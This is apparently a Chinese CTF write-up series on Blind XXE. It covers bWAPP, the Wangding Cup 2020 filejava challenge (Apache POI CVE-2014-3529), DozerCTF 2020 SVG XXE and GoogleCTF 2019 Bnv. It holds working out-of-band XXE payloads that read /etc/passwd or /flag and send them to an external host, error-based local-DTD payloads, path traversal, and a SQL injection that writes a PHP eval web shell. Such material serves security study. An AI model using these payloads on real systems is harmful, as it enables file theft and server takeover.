天天看点

从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference

0x00 前言

对于传统的XXE来说,攻击者只有在服务器有回显或报错的情况下才能使用XXE漏洞来读取服务器端文件。 例如

<!ENTITY file SYSTEM "file:///etc/passwd">
<username>&file;</username>
           

如果服务器没有回显,只能通过Blind XXE构造一条外带信道来提取数据,也就是数据外带。

一个实例

xml.php

<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
           

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?p=%file;'>">
           

payload

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
           
调用过程
  1. %remote请求远程vps上的test.dtd
  2. %int调用test.dtd中的%file
  3. %file获取服务器上的敏感文件,并传入%send
  4. %send将数据发送到远程vps上

这样就实现了外带数据的效果,完美解决了XXE无回显的问题

0x01 bWAPP

下面用bWAPP靶场来示例一下有回显XXE和无回显的区别

有回显XXE

点击Any bugs抓包查看正常请求,可以看到其中的XML文档

从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference
利用http协议

payload

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE test[

<!ENTITY file SYSTEM "http://192.168.115.142/bWAPP/robots.txt">

]>

<reset><login>&file;</login><secret>Any bugs?</secret></reset>
           
从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference
利用file协议

payload

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE test[

<!ENTITY file SYSTEM "file:///etc/passwd">

]>

<reset><login>&file;</login><secret>Any bugs?</secret></reset>
           
从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference
利用php伪协议

payload

<?xml version="1.0" encoding="utf-8" ?>

<!DOCTYPE test[

<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/bWAPP/xxe-1.php">

]>

<reset><login>&file;</login><secret>Any bugs?</secret></reset>
           
从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference

无回显XXE

由于bWAPP没有无回显靶场,这里用来测试一下数据外带的思路

我们先在vps上传一个test.dtd文件,内容如下

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://116.62.211.134:2333/?p=%file;'>">
           

payload

<?xml version="1.0" encoding="utf-8"?> 

<!DOCTYPE test [ 

<!ENTITY % remote SYSTEM "http://116.62.211.134/test.dtd"> 

%remote;%int;%send; ]>

<reset><login>bee</login><secret>Any bugs?</secret></reset>
           

0x02 网鼎杯2020 filejava

CVE-2014-3529

Apache POI 3.10-FINAL及以前版本被发现允许远程攻击者通过注入XML外部实体访问外部实体资源或者读取任意文件。

影响范围

poi-ooxml-3.10-FINAL.jar及以下版本

利用文件

[Content-Types].xml

漏洞利用
  1. 新建test.xlsx文件,修改后缀名为.zip并解压,得到以下文件
从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference
  1. 修改[Content_Types].xml,在第二行加入以下内容
    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://ip/file.dtd">
    %remote;%int;%send;
    ]>
               
  2. 压缩成zip后再修改后缀为.xlsx
  3. 在vps上新建一个file.dtd文件,内容如下
    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?p=%file;'>">
               
  4. vps开启监听,上传xlsx文件后外带出数据

解题

任意文件下载

上传一个文件后可以点击下载

从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference

修改filename为

../

后得到一个Java的报错信息

从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference

这里用目录穿越读取WEB-INF下的web.xml文件

DownloadServlet?filename=../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
           
从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference

可以看到有UploadServlet、DownloadServlet、ListFileServlet三个class文件

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
           
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
           
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
           
Blind XXE

依次下载下来后用jd-gui反编译成Java源代码,关键代码在UploadServlet.class第63行起

从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference

如果是以

excel-

开头的xlsx文件,就会调用WorkbookFactory.create去处理文件,从而触发XXE

vps上传一个dtd文件,内容如下

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.2.73.65:2333?p=%file;'>">
           

将excel解压后,修改[Content-Types].xml,在第二行后加入以下内容

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://174.2.73.65/xxe.dtd">
%remote;%int;%send;
]>
           

vps上开启监听

nc -lvvp 2333
           
从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference

0x03 DozerCTF2020 svgggggg!

svg简介

SVG是一种图像文件格式,它的英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形。它是基于XML(Extensible Markup Language),由World Wide Web Consortium(W3C)联盟进行开发的。

SVG是一种用XML定义的语言,使用 XML 格式定义图形。SVG 文件是纯粹的 XML。

svg xxe

既然svg也是xml格式,自然可以用来xxe,下面给出有回显和盲打的payload

有回显

xxe.svg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>
           
无回显

xxe.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd" >
<!ENTITY % send "<!ENTITY res SYSTEM 'http://116.62.211.134:8088/?a=%file;'>">
           

xxe.svg

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT svg ANY >
   <!ENTITY % remote SYSTEM "http://116.62.211.134/xxe.xml" >
%remote;%send;
   ]><svg height="100" width="1000">&res;</svg>
           

解题

这道题应该是加了白,如果请求的文件不是svg的话会返回Unauthorized type!

从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference

传入一个svg会成功加载

从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference
payload
xxe.svg
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT svg ANY >
   <!ENTITY % remote SYSTEM "http://yourip/xxe.dtd" >
%remote;%data;
   ]>
   <svg height="100" width="1000">
   &res;
   </svg>

xxe.dtd
<!ENTITY % show SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd" >
<!ENTITY % data "<!ENTITY res SYSTEM 'http://yourip:your port/?%show;'>">
           
history

根据比赛时候的hint读取一下history

/home/r1ck/.bash_history
           
从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference
cd /app
php -S 0.0.0.0:8080
           

得知在app目录下另起了一个web服务,开在8080端口

读取一下/app/index.php的源码

<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
Hi!
You Find Me .
Flag is nearby.
<body>
</body>
</html>

<?php 

$conn=mysql_connect('127.0.0.1','root','');
mysql_select_db('security');

if ($_GET['id']){
    $id = $_GET['id'];
}
else 
    $id = 1;
$sql = "select * from user where id='$id'";
$result = mysql_query($sql,$conn);
$arr = mysql_fetch_assoc($result);
print_r($arr);

?>
           
sql注入写shell

payload

1' union select 1,'<?php var_dump(12);eval($_REQUEST[a]);?>',3 into outfile '/app/shell.php
           

写shell进去,读取H3re_1s_y0ur_f14g.php文件拿到flag

0x04 GoogleCTF2019 Bnv

以上都是引入外部服务器的OOB XXE,虽然好用,但是有一个软肋。当服务器配置好防火墙,禁止服务器请求外网dtd文件的话,就无法接受到数据了。

这时候就可以考虑利用本地dtd来进行XXE

本地DTD文件

Linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
           
Windows
<!ENTITY % local_dtd SYSTEM "file:///C:Windows/System32/wbem/xml/cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
           

基于报错的Blind XXE

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。

引入服务器文件

test.dtd

<!ENTITY % start "<!ENTITY % error SYSTEM 'file:///fakefile/%file;'>">
%start;
           

payload

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE message [

    <!ENTITY % remote SYSTEM "https://www.0xdawn.cn/test.dtd">

    <!ENTITY % file SYSTEM "file:///flag">

    %remote;

    %error;

]>

<message>0xdawn</message>
           
引入本地文件

payload

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE message [

    <!ENTITY % local_dtd SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">

    <!ENTITY % file SYSTEM "file:///flag">

    <!ENTITY % ISOamso '

        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://fakefile/?%file;'>">

        %eval;

        %send;

    '> 

    %local_dtd;

]>

<message>0xdawn</message>
           
嵌套参数实体

payload

<?xml version="1.0"?>

<!DOCTYPE message [

    <!ELEMENT message (#PCDATA)>

    <!ENTITY % para1 SYSTEM "file:///flag">

    <!ENTITY % para '

        <!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">

        %para2;

    '>

    %para;

]>

<message>0xdawn</message
           

但是对于三层嵌套参数实体构造的payload有些XML解析器是无法检测出来的

解题

测试过程

当我们把Content-type修改为application/xml后,得知缺少xml格式

Start tag expected, '<' not found, line 1, column 1
           
从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference

当我们把json格式数据转化为xml格式时,提示缺少dtd文件

Validation failed: no DTD found !, line 2, column 9
           
从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference

我们来添加一个简单的实体引用看看会发生什么

从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference
No declaration for element message, line 5, column 20
           

没有元素消息的声明,显然解析器需要在DTD中声明已定义的元素,我们给出定义

最终得到了正确的响应,响应格式也从json变为了xml解析器

从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference

让我们来试一下加载本地文件

从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference
internal error: xmlParseInternalSubset: error detected in Markup declaration
, line 1, column 1
           

得到了一个标记错误,这意味着文件已经成功加载,但因为不符合xml格式,所以中断了

报错流程
从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference
  1. xml解析器读取所需文件的内容
  2. 读取另一个文件,确保第二个假文件名中带有所需文件内容
  3. 返回一个错误,因为没有这个文件名
  4. 在错误信息中得到我们想读取的文件的内容
payload
<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE message[

    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

    <!ENTITY % ISOamso '

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///fakefile/%file;'>">

%eval;

%error;

'>

%local_dtd;

]>

<message>&id;</message>
           

成功在报错中取回文件内容

从几道CTF学习Blind XXE0x00 前言0x01 bWAPP0x02 网鼎杯2020 filejava0x03 DozerCTF2020 svgggggg!0x04 GoogleCTF2019 Bnv0x05 Reference

0x05 Reference

一篇文章读懂Java代码审计之XXE

网鼎杯青龙组Web部分wp

[Blind XXE详解与Google CTF一道题分析](https://xz.aliyun.com/t/Blind XXE详解与Google CTF一道题分析https://www.freebuf.com/vuls/207639.html)

ctf